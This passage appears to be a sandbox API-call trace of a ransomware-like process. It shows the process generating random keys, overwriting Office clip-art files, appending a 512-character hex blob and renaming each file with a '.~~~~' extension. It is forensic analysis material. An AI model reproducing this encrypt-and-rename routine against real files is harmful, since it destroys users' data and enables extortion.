	[0105.280] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.280] CloseHandle (hObject=0x11c) returned 1
	[0105.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.280] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.~~~~")) returned 1
	[0105.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.281] GetLastError () returned 0x0
	[0105.282] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.283] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.283] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.283] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22527324293) returned 1
	[0105.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa86e02b0, dwHighDateTime=0x1d60e1e)) 
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd98
	[0105.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd98 | out: hHeap=0x300000) returned 1
	[0105.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b360
	[0105.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.284] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.284] GetLastError () returned 0x0
	[0105.284] GetLastError () returned 0x0
	[0105.284] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.284] GetLastError () returned 0x0
	[0105.285] GetLastError () returned 0x0
	[0105.287] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb21a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.287] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4de6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x4de6, lpOverlapped=0x0) returned 1
	[0105.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.289] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.289] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.289] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.289] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.289] CloseHandle (hObject=0x11c) returned 1
	[0105.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.289] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.~~~~")) returned 1
	[0105.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.290] GetLastError () returned 0x0
	[0105.291] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.292] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.292] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.292] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22528244593) returned 1
	[0105.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa86e02b0, dwHighDateTime=0x1d60e1e)) 
	[0105.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cdd0
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x300000) returned 1
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b3f8
	[0105.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.293] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.294] GetLastError () returned 0x0
	[0105.294] GetLastError () returned 0x0
	[0105.294] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.294] GetLastError () returned 0x0
	[0105.294] GetLastError () returned 0x0
	[0105.308] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd918, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.308] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x26e8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x26e8, lpOverlapped=0x0) returned 1
	[0105.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.309] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.310] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.310] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.310] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.310] CloseHandle (hObject=0x11c) returned 1
	[0105.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.~~~~")) returned 1
	[0105.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.388] GetLastError () returned 0x0
	[0105.389] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.390] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.390] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.390] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22538056916) returned 1
	[0105.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa87eac50, dwHighDateTime=0x1d60e1e)) 
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ce58
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ce58 | out: hHeap=0x300000) returned 1
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b490
	[0105.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.391] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.392] GetLastError () returned 0x0
	[0105.392] GetLastError () returned 0x0
	[0105.392] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.392] GetLastError () returned 0x0
	[0105.392] GetLastError () returned 0x0
	[0105.398] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffa900, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.398] WriteFile (in: hFile=0x144, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x5700, lpOverlapped=0x0) returned 1
	[0105.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.399] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.399] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.399] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.400] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.400] CloseHandle (hObject=0x144) returned 1
	[0105.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.400] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.~~~~")) returned 1
	[0105.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.401] GetLastError () returned 0x0
	[0105.402] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0105.405] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.405] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22539521263) returned 1
	[0105.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8810db0, dwHighDateTime=0x1d60e1e)) 
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ce90
	[0105.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ce90 | out: hHeap=0x300000) returned 1
	[0105.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b8b8
	[0105.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.406] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.406] GetLastError () returned 0x0
	[0105.406] GetLastError () returned 0x0
	[0105.406] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.407] GetLastError () returned 0x0
	[0105.407] GetLastError () returned 0x0
	[0105.410] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9f3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.410] WriteFile (in: hFile=0x144, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x60c2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x60c2, lpOverlapped=0x0) returned 1
	[0105.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.411] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.411] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.411] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.411] CloseHandle (hObject=0x144) returned 1
	[0105.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.~~~~")) returned 1
	[0105.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0105.413] GetLastError () returned 0x0
	[0105.413] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0105.414] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0105.414] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0105.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0105.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0105.415] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22540467391) returned 1
	[0105.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8810db0, dwHighDateTime=0x1d60e1e)) 
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cec8
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cec8 | out: hHeap=0x300000) returned 1
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b950
	[0105.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.415] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0105.415] GetLastError () returned 0x0
	[0105.416] GetLastError () returned 0x0
	[0105.416] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0105.416] GetLastError () returned 0x0
	[0105.416] GetLastError () returned 0x0
	[0105.516] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffae42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.516] WriteFile (in: hFile=0x144, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x51be, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x51be, lpOverlapped=0x0) returned 1
	[0105.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.517] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.518] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
